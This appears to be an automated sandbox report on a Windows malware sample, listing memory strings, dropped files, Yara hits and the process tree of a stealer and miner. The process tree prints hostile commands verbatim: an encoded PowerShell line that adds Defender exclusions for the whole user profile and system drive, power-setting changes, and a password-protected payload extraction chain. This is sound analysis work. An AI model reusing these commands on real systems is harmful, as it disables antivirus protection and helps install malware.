Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: conhost.exe, 00000005.00000002.2319084207.0000000000423000.00000002.00000001.01000000.0000000A.sdmp, conhost.exe.3.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 0000001A.00000002.2304314220.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: inject.exe, 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: RegSvcs.exe, 00000017.00000002.2339213093.00000000033F2000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.00000000033FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: RegSvcs.exe, 00000017.00000002.2339213093.000000000344C000.00000004.00000800.00020000.00000000.sdmp, logs.uce.23.dr, logs.uce1.23.dr, logs.uce0.23.dr	String found in binary or memory: https://pastebin.com/raw/dq3hWX27
Source: Installer.exe.20.dr, conhost.exe.3.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003427000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.0000000003423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716

Source: unknown

HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49716 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

5_2_00408DBB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpCC71.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpCC60.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000016.00000002.2282337473.000000000045A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Installer.exe PID: 2164, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

.NET source code contains very large array initializations

Source: inject.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 311296

Drops password protected ZIP file

Source: file.bin.5.dr

Zip Entry: encrypted

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 9_2_003196AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

9_2_003196AC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0155DC74	3_2_0155DC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A3A6B8	3_2_06A3A6B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A367D8	3_2_06A367D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A33F50	3_2_06A33F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A3A688	3_2_06A3A688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A36FE8	3_2_06A36FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06A36FF8	3_2_06A36FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFB600	3_2_06CFB600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFBC40	3_2_06CFBC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF92D7	3_2_06CF92D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFA280	3_2_06CFA280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF7AA8	3_2_06CF7AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFE270	3_2_06CFE270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF13C0	3_2_06CF13C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFC3A8	3_2_06CFC3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFEB60	3_2_06CFEB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFD370	3_2_06CFD370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFF8D0	3_2_06CFF8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF71D8	3_2_06CF71D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFD980	3_2_06CFD980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFB198	3_2_06CFB198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF6E90	3_2_06CF6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFB5F0	3_2_06CFB5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CF13B0	3_2_06CF13B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06CFF8C1	3_2_06CFF8C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7ECA0	3_2_08E7ECA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7CD10	3_2_08E7CD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7A198	3_2_08E7A198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E7B580	3_2_08E7B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E703B8	3_2_08E703B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E77EA0	3_2_08E77EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E77E90	3_2_08E77E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E713FC	3_2_08E713FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_08E797C8	3_2_08E797C8
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00405BFC	5_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040B0E0	5_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040B0E4	5_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00419973	5_2_00419973
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040A900	5_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040A270	5_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040AC20	5_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00409C20	5_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040D480	5_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_0040ED00	5_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00409DD0	5_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00419601	5_2_00419601
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_004196DB	5_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: 5_2_00418F40	5_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0033F13E	9_2_0033F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00335458	9_2_00335458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_003324C0	9_2_003324C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_003347AC	9_2_003347AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00358817	9_2_00358817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00320DCC	9_2_00320DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0031B114	9_2_0031B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0031F1B4	9_2_0031F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0032C278	9_2_0032C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00353528	9_2_00353528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00342578	9_2_00342578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0034066E	9_2_0034066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0033D66C	9_2_0033D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0032D858	9_2_0032D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0033694C	9_2_0033694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_003499B8	9_2_003499B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_003549A5	9_2_003549A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_003479DC	9_2_003479DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0035DA30	9_2_0035DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0034FA0C	9_2_0034FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0035DC11	9_2_0035DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00327C68	9_2_00327C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00328CA8	9_2_00328CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0035DD00	9_2_0035DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00336E08	9_2_00336E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00318F18	9_2_00318F18
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0032AF58	9_2_0032AF58
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00301280	22_2_00301280
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_00305424	22_2_00305424
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0030DA20	22_2_0030DA20
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0031122C	22_2_0031122C
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0030DEB8	22_2_0030DEB8
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0031272D	22_2_0031272D
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 22_2_0031134C	22_2_0031134C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_030CF2E4	23_2_030CF2E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FB338	23_2_032FB338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FA040	23_2_032FA040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F6700	23_2_032F6700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F9770	23_2_032F9770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FDA88	23_2_032FDA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FC878	23_2_032FC878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FB327	23_2_032FB327
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FC655	23_2_032FC655
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F66F0	23_2_032F66F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F0508	23_2_032F0508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F0518	23_2_032F0518
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032F9428	23_2_032F9428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 23_2_032FDA78	23_2_032FDA78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_0491B570	26_2_0491B570
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_0491B550	26_2_0491B550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_08903EB0	26_2_08903EB0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\main\7z.dll 34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\main\7z.exe 344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: String function: 00302330 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Code function: String function: 004029A6 appears 44 times

Source: inject.exe, 00000000.00000002.2055709662.0000000003838000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKneepad.exe8 vs inject.exe
Source: inject.exe, 00000000.00000002.2054450049.00000000009CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs inject.exe
Source: inject.exe	Binary or memory string: OriginalFilenameVQP.exe@ vs inject.exe

Source: inject.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000016.00000002.2282337473.000000000045A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Installer.exe PID: 2164, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: inject.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.inject.exe.37f5570.0.raw.unpack, Arguments.cs

Base64 encoded string: 'HEsbFS1dHgYifwEVBkY6CgU0dR45PRwfCSIxfRgkMBMMJSsFF0opDRY8WQYhFTMaB0cmCjhBdBI5MRsIIDU2fTQEWEk='

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@56/47@3/4

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

5_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_0031AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		9_2_0031AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 9_2_00321D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		9_2_00321D04

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

5_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

5_2_004092C1

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

5_2_004020BF

Source: C:\Users\user\Desktop\inject.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\inject.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\ProgramV3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\TmpCC60.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: inject.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: inject.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\inject.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: inject.exe

ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\inject.exe "C:\Users\user\Desktop\inject.exe"
Source: C:\Users\user\Desktop\inject.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\inject.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\conhost.exe "C:\Users\user\AppData\Local\Temp\conhost.exe"
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
